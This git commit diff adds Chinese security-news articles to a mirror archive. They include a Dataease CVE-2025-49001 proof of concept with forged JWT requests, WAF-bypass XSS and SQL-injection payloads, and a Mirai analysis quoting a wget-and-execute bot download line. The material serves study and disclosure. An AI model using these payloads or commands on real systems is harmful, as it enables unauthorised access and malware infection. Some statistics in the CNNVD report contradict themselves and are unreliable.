mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
Dataease JWT 认证绕过导致未授权访问漏洞CVE-2025-49001 附POC、利用Reverge自动化工具:提升漏洞赏金 hunting 的速度与效率、2025年5月企业必修安全漏洞清单、漏洞赏金工具 v1.0、最新分析 | Mirai 利用 CVE-2024-3721 攻击 TBK DVR 设备、信息安全漏洞月报(2025年5月)、CNVD漏洞周报2025年第21期、SRC 漏洞挖掘中的绕过 WAF 技巧、
This commit is contained in:
1 parent
1b9da9a87e
commit
d3606d8234
9 files changed
+1867
-2
No files matched your search
@@ -14986,5 +14986,13 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkzODQzNTU2NA==&mid=2247486369&idx=1&sn=33957214471faf3e137bb4a71db83923": "赏金SRC 某开源社区存在水平越权漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU4OTExNTk0OA==&mid=2247485046&idx=1&sn=dfad8a66920758ce8ec4c08d36145120": "DataEase 远程代码执行漏洞分析",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649788669&idx=1&sn=a61f1741b0e694b9f3e6c7c1106df246": "全球科技巨头隐秘监视数十亿Android用户,滥用系统漏洞跨端追踪长达八年",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNTY4NTQwMg==&mid=2247484515&idx=1&sn=426da386d99d295b7b7c6fe2618993ce": "Vite漏洞利用指南(文末附工具)"
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNTY4NTQwMg==&mid=2247484515&idx=1&sn=426da386d99d295b7b7c6fe2618993ce": "Vite漏洞利用指南(文末附工具)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIxMjEzMDkyMA==&mid=2247488565&idx=1&sn=125adcaf47829f9e73f5b4fa72c02cc0": "Dataease JWT 认证绕过导致未授权访问漏洞CVE-2025-49001 附POC",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247530704&idx=3&sn=59d50955f5f929cb0f489cbe2eb36b04": "利用Reverge自动化工具:提升漏洞赏金 hunting 的速度与效率",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247496441&idx=1&sn=b86d8080825684249e954e3890155c70": "2025年5月企业必修安全漏洞清单",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU2NzY5MzI5Ng==&mid=2247506582&idx=1&sn=dcd5972dc904ed507f28e03f89627aff": "漏洞赏金工具 v1.0",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247616371&idx=1&sn=e12ff003aad2f2d456a8d64b1af1d093": "最新分析 | Mirai 利用 CVE-2024-3721 攻击 TBK DVR 设备",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAxODY1OTM5OQ==&mid=2651463155&idx=1&sn=b6e6f751cf3e3300734697d8d00109b5": "信息安全漏洞月报(2025年5月)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIwNDk0MDgxMw==&mid=2247499968&idx=1&sn=c0a4acf073d44a93066277415a1b8beb": "CNVD漏洞周报2025年第21期",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAwMjA5OTY5Ng==&mid=2247526479&idx=1&sn=4cca7247d9bb128024ac51c166779b4a": "SRC 漏洞挖掘中的绕过 WAF 技巧"
|
||||
}
|
||||
File diff suppressed because it is too large.
Load diff
@@ -1,5 +1,5 @@
|
||||
# CNVD漏洞周报2025年第21期
|
||||
原创 CNVD CNVD漏洞平台 2025-06-09 09:41
|
||||
国家互联网应急中心CNCERT 2025-06-10 01:15
|
||||
|
||||
2
|
||||
0
|
||||
|
||||
@@ -0,0 +1,103 @@
|
||||
# Dataease JWT 认证绕过导致未授权访问漏洞CVE-2025-49001 附POC
|
||||
2025-6-9更新 南风漏洞复现文库 2025-06-09 15:39
|
||||
|
||||
|
||||
|
||||
|
||||
免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
|
||||
## 1. Dataease简介
|
||||
|
||||
微信公众号搜索:南风漏洞复现文库
|
||||
该文章 南风漏洞复现文库 公众号首发
|
||||
|
||||
Dataease
|
||||
## 2.漏洞描述
|
||||
|
||||
DataEase是一款开源的商业智能和数据可视化工具。CVE-2025-49001 中,由于JWT算法实现存在缺陷,导致攻击者可以使用任何secret来伪造JWT令牌,从而绕过权限校验调用后台相关功能接口,甚至造成代码执行。
|
||||
|
||||
CVE编号:CVE-2025-49001
|
||||
|
||||
CNNVD编号:
|
||||
|
||||
CNVD编号:
|
||||
## 3.影响版本
|
||||
|
||||
Dataease
|
||||
|
||||

|
||||
|
||||
Dataease JWT 认证绕过导致未授权访问漏洞
|
||||
## 4.fofa查询语句
|
||||
|
||||
title="DataEase"
|
||||
## 5.漏洞复现
|
||||
|
||||
漏洞链接:http://xx.xx.xx.xx/de2api/user/info
|
||||
|
||||
漏洞数据包:
|
||||
```
|
||||
GET /de2api/user/info HTTP/1.1
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: application/json, text/plain, */*
|
||||
Connection: close
|
||||
Host: xx.x.xx.xx
|
||||
out_auth_platform: default
|
||||
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
|
||||
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
```
|
||||
GET /de2api/license/version HTTP/1.1
|
||||
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept: application/json, text/plain, */*
|
||||
Connection: close
|
||||
Host: xx.x.xx.xx
|
||||
out_auth_platform: default
|
||||
X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8
|
||||
|
||||
|
||||
```
|
||||
|
||||

|
||||
|
||||
## 6.POC&EXP
|
||||
|
||||
本期漏洞及往期漏洞的批量扫描POC及POC工具箱已经上传知识星球:南风网络安全
|
||||
1: 更新poc批量扫描软件,承诺,一周更新8-14个插件吧,我会优先写使用量比较大程序漏洞。
|
||||
2: 免登录,免费fofa查询。
|
||||
3: 更新其他实用网络安全工具项目。
|
||||
4: 免费指纹识别,持续更新指纹库。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
## 7.整改意见
|
||||
|
||||
升级至最新版本。
|
||||
## 8.往期回顾
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,94 @@
|
||||
# SRC 漏洞挖掘中的绕过 WAF 技巧
|
||||
原创 GhostShell 乌雲安全 2025-06-10 01:51
|
||||
|
||||
|
||||
|
||||
在 SRC 漏洞挖掘中,WAF是挖掘者面临的一大障碍。WAF 能够检测和阻止常见的攻击请求,但挖掘者可通过特定技巧绕过它,下面介绍几种常见的绕过 WAF 技巧。
|
||||
## 一、基于正则表达式的绕过
|
||||
|
||||
WAF 通常使用正则表达式来匹配和过滤恶意请求。挖掘者可通过修改 payload 的大小写、使用编码、替换函数或字符、使用替代语法以及添加换行符或制表符等方式,来绕过基于正则表达式的过滤。
|
||||
- • **大小写变换**
|
||||
:WAF 的正则表达式可能对大小写敏感,通过改变 payload 中关键字的大小写,可使 WAF 无法匹配从而绕过检测。例如,将 <script>
|
||||
改为 <sCrIpT>
|
||||
。
|
||||
|
||||
- • **编码利用**
|
||||
:使用不同的编码方式,如 URL 编码、Unicode 编码、Base64 编码等,可将 payload 转换为 WAF 无法直接识别的格式。如将 javascript:alert(1)
|
||||
转为 unicode 编码为 %u006A%u0061%u0076%u0061%u0073%u0063%u0072%u0069%u0070%u0074%u003A%u0061%u006C%u0065%u0072%u0074%u0028%u0031%u0029
|
||||
。
|
||||
|
||||
- • **使用替代语法和字符**
|
||||
:采用不常见的函数、语法结构或字符来替代常见的攻击payload。例如,使用 Function("ale"+"rt(1)")();
|
||||
代替常见的 alert(1)
|
||||
,或者用反引号代替括号与引号,如 new Function
|
||||
alt`6`;
|
||||
。
|
||||
|
||||
## 二、HTTP 协议特性利用
|
||||
- • **分块传输编码**
|
||||
:在 HTTP 请求中添加 Transfer-Encoding: chunked
|
||||
头,将请求体分为多个块进行传输。在每个块中,可以将关键字拆分并编码,以绕过 WAF 对关键字的检测。例如:
|
||||
|
||||
```
|
||||
|
||||
POST /test.php HTTP/1.1
|
||||
Host: example.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
4
|
||||
a=1
|
||||
4
|
||||
unio
|
||||
4
|
||||
n se
|
||||
5
|
||||
lect
|
||||
1
|
||||
1
|
||||
0
|
||||
|
||||
```
|
||||
- • **畸形包构造**
|
||||
:利用 HTTP 协议的特性,构造畸形的 HTTP 请求包。例如,将 GET 请求转换为 POST 请求,修改请求中的空格为 %20
|
||||
,并将 Connection
|
||||
字段设置为 keep-alive
|
||||
,然后在请求体中添加 payload。由于 WAF 可能对畸形包的解析存在缺陷,从而实现绕过。
|
||||
|
||||
## 三、字符集与编码绕过
|
||||
- • **修改字符集**
|
||||
:通过修改 HTTP 请求中的 Content-Type
|
||||
头,指定不同的字符集(如 ibm500),使 WAF 无法正确识别和处理请求中的payload。例如,将 <script>alert("xss")</script>
|
||||
使用 IBM037 编码后,得到 L%A2%83%99%89%97%A3n%81%93%85%99%A3M%7F%A7%A2%A2%7F%5DLa%A2%83%99%89%97%A3n
|
||||
。
|
||||
|
||||
- • **Unicode 兼容性绕过**
|
||||
:利用 Unicode 字符的兼容性,构造与常见攻击payload 在 Unicode 标准下等价但形式不同的字符序列。例如,使用 Unicode 兼容字符 <<img src⁼p onerror⁼'prompt⁽1⁾'﹥
|
||||
替代原始的 <img src=p onerror='prompt(1)'>
|
||||
,在 Web 服务器进行 Unicode 归一化处理后,仍能执行恶意操作,但可能绕过 WAF 的检测。
|
||||
|
||||
## 四、业务逻辑与功能利用
|
||||
- • **利用业务逻辑漏洞**
|
||||
:深入研究目标系统的业务逻辑,寻找可利用的漏洞。例如,在某支付场景中,通过修改数据包中的参数,绕过正常的支付流程,实现未授权访问或操作。如某银行业务逻辑漏洞,通过修改数据包参数绕过指纹支付和脸部识别支付。
|
||||
|
||||
- • **借助 Web 资源与功能**
|
||||
:利用 Web 页面中的合法资源和功能来隐藏或传输恶意 payload。例如,使用 <iframe>
|
||||
标签加载恶意脚本,或将 payload 存储在 Web 存储中(如 localStorage),然后通过 JavaScript 读取并执行。
|
||||
|
||||
## 五、工具与脚本辅助
|
||||
- • **使用专业工具**
|
||||
:借助如 Burpsuite、SQLmap 等专业安全工具,这些工具内置了多种绕过 WAF 的功能和技巧。例如,SQLmap 中的 --temper
|
||||
参数可调用特定的脚本来修改 payload,以绕过 WAF 检测。常用的 temper 脚本有 apostrophemask.py
|
||||
、equaltolike.py
|
||||
、space2dash.py
|
||||
等。
|
||||
|
||||
- • **编写定制脚本**
|
||||
:根据目标系统的特性和 WAF 的规则,编写定制化的脚本来生成和发送绕过 WAF 的请求。例如,通过 Python 的 requests
|
||||
库构造请求,并对 payload 进行特定的编码和变形。
|
||||
|
||||
在 SRC 漏洞挖掘中,绕过 WAF 是一项具有挑战性但又至关重要的任务。以上介绍的这些技巧只是众多方法中的一部分,实际应用时需要根据具体的目标系统和 WAF 特性进行灵活组合和创新。同时,挖掘者应始终遵守法律法规和道德准则,在授权范围内进行漏洞挖掘和研究。
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,134 @@
|
||||
# 信息安全漏洞月报(2025年5月)
|
||||
原创 CNNVD CNNVD安全动态 2025-06-10 01:10
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
**点击蓝字 关注我们**
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
漏洞态势
|
||||
|
||||
根据国家信息安全漏洞库(CNNVD)统计,2025年5月采集安全漏洞共3984个。
|
||||
|
||||
本月接报漏洞1238个,其中信息技术产品漏洞(通用型漏洞)1127个,网络信息系统漏洞(事件型漏洞)111个。漏洞平台推送漏洞35083个。
|
||||
|
||||
重大漏洞通报
|
||||
|
||||
Fortinet多款产品安全漏洞(CNNVD-202505-1780/CVE-2025-32756):Fortinet多款产品存在安全漏洞,该漏洞源于栈缓冲区溢出,可能导致执行任意代码。目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
|
||||
|
||||
https://www.fortinet.com/cn/support/product-downloads
|
||||
|
||||
## 一公开漏洞情况
|
||||
|
||||
|
||||
根据国家信息安全漏洞库(CNNVD)统计,2025年5月新增安全漏洞共3984个,从厂商分布来看,WordPress漏洞数量最多,共发布923个;从漏洞类型来看,跨站脚本漏洞占比最大,达到8.48%。本月新增漏洞中,超危漏洞315个、高危漏洞1142个、中危漏洞2376个、低危漏洞151个,相应修复率分别为60.96%、56.75%、83.97%以及68.22%。合计2938个漏洞已有修复补丁发布,本月整体修复率73.75%。
|
||||
|
||||
1.1 漏洞增长概况
|
||||
|
||||
|
||||
|
||||
2025年5月新增安全漏洞3984个,与上月(4030个)相比减少了1.15%。根据近6个月漏洞新增数量统计图,平均每月漏洞数量达到3884个。
|
||||
|
||||

|
||||
|
||||
图1 2024年12月至2025年5月漏洞新增数量统计图
|
||||
|
||||
1.2 漏洞分布情况
|
||||
|
||||
|
||||
|
||||
1.2.1 漏洞厂商分布
|
||||
|
||||
2025年5月厂商漏洞数量分布情况如表1所示,WordPress漏洞达到923个,占本月漏洞总量23.17%。
|
||||
|
||||
表1 2025年5月新增漏洞排名前十厂商统计表
|
||||
|
||||

|
||||
|
||||
1.2.2 漏洞类型分布
|
||||
|
||||
2025年5月漏洞类型分布情况如表2所示,其中跨站脚本类漏洞所占比例最大,约为8.48%。
|
||||
|
||||
表2 2025年5月漏洞类型统计表
|
||||
|
||||

|
||||
|
||||
1.2.3 漏洞危害等级分布
|
||||
|
||||
根据漏洞的影响范围、利用方式、攻击后果等情况,从高到低分为四个等级:超危、高危、中危和低危。2025年5月漏洞危害等级分布情况如图2所示,其中超危漏洞315个,占本月漏洞总量7.91%。
|
||||
|
||||

|
||||
|
||||
图2 2025年5月漏洞危害等级分布图
|
||||
|
||||
1.3漏洞修复情况
|
||||
|
||||
|
||||
|
||||
1.3.1 整体修复情况
|
||||
|
||||
2025年5月各危害等级修复情况如图3所示,低危漏洞修复率最高,为83.97%,超危漏洞修复率最低,为56.75%。
|
||||
|
||||
总体来看,本月整体修复率由上月的69.26%下降至本月的73.75%。
|
||||
|
||||

|
||||
|
||||
图3 2025年5月各危害等级修复情况统计图
|
||||
|
||||
1.3.2 厂商修复情况
|
||||
|
||||
2025年5月新增漏洞数量排名前十厂商修复情况如表3所示,合计2066个漏洞,占本月漏洞总量51.86%,平均修复率为60.17%。
|
||||
|
||||
表3 2025年5月厂商修复情况统计表
|
||||
|
||||

|
||||
|
||||
## 二接报漏洞情况
|
||||
|
||||
|
||||
2025年5月接报漏洞1238个,其中信息技术产品漏洞(通用型漏洞)1127个,网络信息系统漏洞(事件型漏洞)111个。详情如表4所示。
|
||||
|
||||
表4 2025年5月接报漏洞情况表
|
||||
|
||||

|
||||
|
||||
## 三漏洞通报情况
|
||||
|
||||
|
||||
3.1 通报情况
|
||||
|
||||
|
||||
|
||||
2025年5月接报通报686个,详情情况如表5所示。
|
||||
|
||||
表5 2025年5月接报通报情况表
|
||||
|
||||

|
||||
|
||||
3.2 重要漏洞
|
||||
|
||||
|
||||
|
||||
表6 2025年5月重要漏洞表
|
||||
|
||||

|
||||
|
||||
## 四漏洞平台推送情况
|
||||
|
||||
|
||||
2025年5月漏洞平台推送漏洞35083个。详情如表7所示。
|
||||
|
||||
表7 2025年5月漏洞平台推送情况表
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,129 @@
|
||||
# 利用Reverge自动化工具:提升漏洞赏金 hunting 的速度与效率
|
||||
Ots安全 2025-06-10 06:26
|
||||
|
||||

|
||||
|
||||
本文深入探讨了如何通过利用自动化工具“reverge”显著提升漏洞赏金(bug bounty) hunting的效率与成功率,特别针对当前网络安全领域日益增长的需求和挑战。文章以作者的亲身实践为基础,详细讲解了从漏洞的证明概念(PoC,例如近期在Fortinet产品中被利用的CVE-2025-32756)到快速验证目标的完整流程。reverge作为一款专为安全专业人员设计的工具,通过其直观的用户界面和强大的集成功能,允许用户高效搜索、排序并隔离高风险系统,同时支持无缝的验证和漏洞利用测试。作者强调,这种自动化流程不仅大幅减少了手动操作的时间成本,还能在时间紧迫、精度要求高的情境下,帮助漏洞赏金猎人、渗透测试人员和红队成员优先处理关键漏洞,从而最大化收益和安全效益。
|
||||
|
||||
文章进一步分析了reverge在实际应用中的价值,指出其高速度和可扩展性能够应对现代网络威胁的快速演变。例如,结合2025年6月9日当前的全球网络安全局势——如俄罗斯近期对乌克兰基础设施的无人机攻击——reverge的快速响应能力显得尤为重要,能够帮助安全团队在类似攻击发生前识别和缓解潜在风险。此外,文章还参考了行业研究(如Medium 2023年关于网络安全技能的文章),指出自动化工具在节省重复性任务时间方面的显著优势,这与reverge强调的速度和效率理念高度一致。
|
||||
|
||||
除了技术细节,文章还探讨了reverge在更广泛情境中的应用潜力,包括其对减少安全人员疲劳、优化资源分配以及支持更复杂安全分析的贡献。针对当前网络安全威胁的复杂性(如关键基础设施的联网设备增加带来的新漏洞),reverge被定位为一种不可或缺的工具,能够助力安全社区在快速变化的环境中保持领先。无论是对初学者还是经验丰富的专业人士,这篇文章都提供了实用见解,并通过实例展示了如何将自动化技术融入漏洞赏金和网络防御策略中。
|
||||
|
||||
上个月,Securifera在AWS Marketplace上公开发布了我们的攻击面管理工具reverge。虽然我们仍计划发布博客文章和视频来指导用户完成设置和使用,但我们想通过演示它如何快速缩小关键漏洞披露与互联网上识别该漏洞可利用实例之间的差距,来展示 reverge 的功能。如果您参与漏洞赏金计划,这可以帮助您快速发现真实目标并率先报告。对于安全团队来说,它可以让您更轻松地查看系统是否受到影响,从而更快地修复问题。
|
||||
|
||||
我们将以最近的 Ivanti Endpoint Manager Mobile (EPMM) 漏洞为例,因为目前已有 Nuclei 模板可用于确认该漏洞是否可被利用。在深入研究之前,我们想先对该漏洞及其受影响的产品进行一些快速研究,以便更好地了解情况。为此,WatchTowr和Wiz都发表了一些优秀的文章,提供了我们所需的所有背景信息。
|
||||
|
||||
如果您拥有 Shodan API 密钥,则可以使用 reverge 的Shodan集成快速收集潜在易受攻击的 Ivanti EPMM 端点列表。我们倾向于使用图标哈希值在 Shodan 中搜索,这意味着我们首先需要从受影响产品的实例中获取图标文件。这些图标不会经常更改,因此不必与版本完全匹配。我们可以使用文章中提到的一些唯一 URL 路径在 Google 上搜索 Ivanti EPMM 实例。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
如果我们点击该链接并点击“查看页面源代码”,我们就可以搜索该网站图标的链接。
|
||||
|
||||

|
||||
|
||||
接下来,我们点击 favicon.ico 链接,右键单击并选择“将图像另存为”。复制 favicon 图像后,我们前往 Reverge 并选择 Shodan 集成。
|
||||
|
||||

|
||||
|
||||
在这里,我们给 Shodan 搜索命名,选择“哈希”类型,选择图标图像作为图标文件,然后单击“搜索”按钮。Shodan 查询结果表中将添加一个条目,我们可以单击该条目来查看结果。
|
||||
|
||||

|
||||
|
||||
结果表显示了 Shodan 找到的所有与指定图标哈希匹配的端点。然而,该列表包含不同的 Ivanti 产品、版本和可用性。要开始扫描并收集更多详细信息,我们需要将这些数据导入到反向传播目标中。
|
||||
|
||||

|
||||
|
||||
要将所有结果导入到结果目标中,我们单击Shodan 查询对话框中的“创建新目标”按钮。
|
||||
|
||||

|
||||
|
||||
根据结果数量,导入可能需要一分钟。完成后,您将进入在 reverge 中创建的新目标的“范围”选项卡。此目标将包含从 Shodan 扫描结果中提取的子网、域和 URL 的合并列表。
|
||||
|
||||

|
||||
|
||||
由于我们知道这是一个 Web 应用程序,我们可以向下滚动到 URL 对话框,选择所有表条目,开始初始扫描。我们点击标题行中的复选框,选择页面中的所有条目,然后点击“选择所有页面的所有行”链接,选择表中的所有 URL。
|
||||
|
||||

|
||||
|
||||
选择端点后,我们点击目标标头中的按钮打开“网络扫描”对话框。然后,选择httpx 以从潜在易受攻击的端点收集更多信息。最后,点击“提交”开始扫描。
|
||||
|
||||

|
||||
|
||||
这会在“扫描”选项卡下的“扫描计划”表中添加一个新条目。当所选收集器下次签入时,它将启动扫描,并在“最近扫描”对话框中显示一个新条目。
|
||||
|
||||

|
||||
|
||||
单击“最近扫描”表中的条目将进入扫描详细信息页面,我们可以在其中跟踪正在运行的作业并查看结果。
|
||||
|
||||

|
||||
|
||||
目前,尚不清楚哪些端点实际运行着 Ivanti EPMM 软件。虽然我们可以截取所有端点的屏幕截图,但我们更倾向于先缩小列表范围。基于我们之前将 Ivanti 与 Java 联系起来的研究,我们首先点击了将 Java 列为组件的条目之一。在HTTP 端点表中,我们注意到网页标题提到了“Ivanti 用户门户”,这是一个很有希望的线索。为了确认,我们点击了链接打开页面,发现它确实是 Ivanti EPMM。
|
||||
|
||||

|
||||
|
||||
考虑到这一点,我们在左侧的筛选器窗格中打开“组件”对话框,并应用筛选器以仅显示 Java 作为组件的端口。单击“筛选”按钮后,扫描结果会相应刷新。为了帮助验证我们是否瞄准了正确的系统,我们启动了 pyshot 扫描来捕获所选端点的屏幕截图。首先,我们点击“主机”表标题中的复选框,以选中当前页面上的所有条目。
|
||||
|
||||

|
||||
|
||||
然后,我们可以点击目标标题中的按钮打开“网络扫描”对话框。这次我们选择 pyshot 来捕获所有选定 Java 端点的屏幕截图,然后单击“提交”开始扫描。
|
||||
|
||||

|
||||
|
||||
一旦 pyshot 扫描完成,我们会查看扫描端口的屏幕截图,以快速验证它们是否确实在运行 Ivanti EPMM。
|
||||
|
||||

|
||||
|
||||
在此阶段,我们对筛选出的端点集有足够的信心,可以对它们运行 Nuclei 来评估可利用性。虽然现有的 Nuclei 模板可用于此测试,但我们不太愿意直接使用它。首先,因为它会在目标上执行命令;其次,它会通过联系 Interactsh 服务器来生成出站流量。为了避免这些问题,我们创建了一个修改版的模板,它仅使用 WatchTowr 文章中演示的标准乘法技术来检查模板注入。
|
||||
|
||||

|
||||
|
||||
为了将更新的版本部署到收集器,我们通过 reverge 顶部菜单中的“收集器”选项卡打开控制台。
|
||||
|
||||

|
||||
|
||||
从这里,我们只需克隆 nuclei-templates 存储库的分支并切换到我们的自定义分支,即可使更新后的模板可供扫描仪使用。
|
||||
|
||||

|
||||
|
||||
现在,更新后的 Nuclei 模板已在收集器上可用,我们导航回目标,启动针对 Ivanti EPMM 端点的 Nuclei 扫描。在 Java 组件过滤器仍然应用的情况下,我们点击“主机”表标题中的复选框,选中当前页面上的所有条目,然后点击“选择所有页面的所有行”以包含所有已筛选的主机。接下来,我们点击按钮打开“扫描”对话框。这次,我们选择“Nuclei”,并使用旁边的下拉菜单修改参数,指定我们的自定义模板。最后,我们点击“提交”开始扫描。
|
||||
|
||||

|
||||
|
||||
扫描完成后,我们会应用新的 CVE 特定过滤器将结果缩小到仅与我们的发现相关的结果。
|
||||
|
||||

|
||||
|
||||
通过深入研究其中一个结果,我们可以查看 Nuclei 扫描输出,以验证该漏洞是否可利用。响应结果清晰地反映了我们的模板注入有效载荷8*8的结果,证实了该漏洞可利用。
|
||||
|
||||

|
||||
|
||||
这只是 reverge 如何帮助安全专业人员快速识别、评估并处理目标环境中的关键漏洞的一个例子。其直观的界面使其能够轻松搜索、排序和隔离高风险系统,而集成的工具则支持无缝验证和漏洞利用测试。在时间紧迫且精度至关重要的情况下,reverge 对于确定优先级并大规模执行有效评估至关重要。
|
||||
|
||||
|
||||
相关参考:
|
||||
- https://labs.watchtowr.com/expression-payloads-meet-mayhem-cve-2025-4427-and-cve-2025-4428/
|
||||
|
||||
- https://www.wiz.io/blog/ivanti-epmm-rce-vulnerability-chain-cve-2025-4427-cve-2025-4428
|
||||
|
||||
|
||||
|
||||
感谢您抽出
|
||||
|
||||

|
||||
|
||||
.
|
||||
|
||||

|
||||
|
||||
.
|
||||
|
||||

|
||||
|
||||
来阅读本文
|
||||
|
||||

|
||||
|
||||
**点它,分享点赞在看都在这里**
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
# 最新分析 | Mirai 利用 CVE-2024-3721 攻击 TBK DVR 设备
|
||||
白帽子左一 白帽子左一 2025-06-10 04:01
|
||||
|
||||
|
||||
|
||||
扫码领资料
|
||||
|
||||
获网安教程
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
**来****Track安全社区投稿~**
|
||||
|
||||
**赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)**
|
||||
|
||||
滥用已知的安全漏洞在易受攻击的系统上部署机器人是一种广为人知的问题。许多自动化机器人会持续扫描互联网上的服务器和设备,寻找已知漏洞,特别是运行常见服务的设备。这些机器人通常携带针对 HTTP 服务的远程代码执行(RCE)漏洞利用程序,允许攻击者在 GET 或 POST 请求中嵌入 Linux 命令。
|
||||
|
||||
我们最近在其中一个蜜罐服务中观察到利用
|
||||
CVE-2024-3721
|
||||
进行机器人部署的行为。该变种机器人被证实是臭名昭著的
|
||||
Mirai 僵尸网络
|
||||
的一部分,主要攻击基于 DVR 的监控系统。DVR 设备用于记录来自摄像头的数据,被众多厂商广泛使用,并且可以远程管理。本文将介绍该新型 Mirai 机器人的功能及其改进后的感染方式。
|
||||
# 利用方式
|
||||
|
||||
在我们对 Linux 蜜罐系统日志的审查过程中,发现了一条与
|
||||
CVE-2024-3721
|
||||
相关的异常请求行。该漏洞允许在未经授权的情况下,在 TBK DVR 设备上执行系统命令,利用的是一个特定的 POST 请求:
|
||||
```
|
||||
"POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1" 200 1671 "-" "Mozila/5.0"
|
||||
```
|
||||
|
||||
该 POST 请求包含一个恶意命令,这是一个单行的 shell 脚本,用于在被攻陷的设备上下载并执行一个 ARM32 架构的二进制文件。
|
||||
```
|
||||
cd /tmp; rm arm7; wget http://42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk
|
||||
```
|
||||
|
||||
通常,机器人感染过程会涉及 shell 脚本,最初会对目标设备进行勘测,以确定其系统架构并选择相应的二进制文件。然而,在本次攻击中,由于目标设备仅支持 ARM32 架构的二进制文件,因此无需进行侦察阶段。
|
||||
# 恶意程序植入 —— Mirai 变种
|
||||
|
||||
Mirai 僵尸网络的源代码早在近十年前就已在互联网上公开,此后被多个网络犯罪团伙加以修改和适配,用于构建大规模的僵尸网络,主要用于 DDoS 攻击和资源劫持。
|
||||
|
||||
此次 DVR 机器人同样是基于 Mirai 源码构建,但也包含了一些不同的功能,例如使用 RC4 进行字符串加密、虚拟机检测以及反仿真技术。
|
||||
### 数据解密
|
||||
|
||||
该变种中的数据解密过程使用的是简化版的 RC4 算法。
|
||||
|
||||
RC4 密钥本身通过 XOR 加密。在解密密钥后,我们得到了其值:6e7976666525a97639777d2d7f303177
|
||||
。
|
||||
|
||||
解密后的 RC4 密钥用于对字符串进行解密。每当一段数据被解密后,都会被插入到一个自定义的 DataDecrypted
|
||||
结构体向量中,该结构体本质上是一个简单的字符串列表:
|
||||
|
||||

|
||||
|
||||
Data decryption routine
|
||||
|
||||
数据解密流程
|
||||
|
||||
每当恶意程序需要特定字符串时,都会访问保存解密数据的全局链表。
|
||||
|
||||

|
||||
|
||||
Adding decrypted strings to the global list
|
||||
### 虚拟机和仿真环境检测(Anti-VM 和 Anti-Emulation)
|
||||
|
||||
为了检测自身是否运行在虚拟机或 QEMU 中,恶意程序会列出所有进程,直到发现与 VMware 或 QEMU-arm 相关的内容。列出运行中的进程在 Linux 系统中只需访问 /proc
|
||||
目录,该目录是 Linux 的进程文件系统。
|
||||
|
||||
每个进程 ID(PID)对应一个文件夹,里面包含有用的信息,例如 cmdline
|
||||
文件,该文件记录了启动该进程所使用的命令。恶意程序利用这些信息,检查是否存在命令行中包含 VMware
|
||||
或 QEMU-arm
|
||||
的进程。
|
||||
|
||||

|
||||
|
||||
Process check
|
||||
|
||||
进程检查
|
||||
|
||||
该植入程序还会根据一组硬编码的允许目录列表,验证机器人进程是否运行在预期目录之外:
|
||||
|
||||

|
||||
|
||||
Allowed directories
|
||||
|
||||
允许的目录
|
||||
|
||||
一旦这些检查顺利通过,Mirai 就会继续正常执行,为接收操作者的命令做好准备。
|
||||
# 感染统计
|
||||
|
||||
根据遥测数据,大多数受感染的受害者分布在中国、印度、埃及、乌克兰、俄罗斯、土耳其和巴西等国家。尽管难以准确确定全球范围内存在漏洞和已被感染的设备数量,但通过分析公开来源,我们已识别出超过 50,000 台暴露在互联网上的 DVR 设备,这表明攻击者有大量机会针对未打补丁的易受攻击设备发起攻击。
|
||||
# 结论
|
||||
|
||||
利用未打补丁的物联网设备和服务器中的已知安全漏洞,以及针对基于 Linux 系统的恶意软件的广泛使用,导致大量机器人不断在互联网上搜索可以感染的设备。
|
||||
|
||||
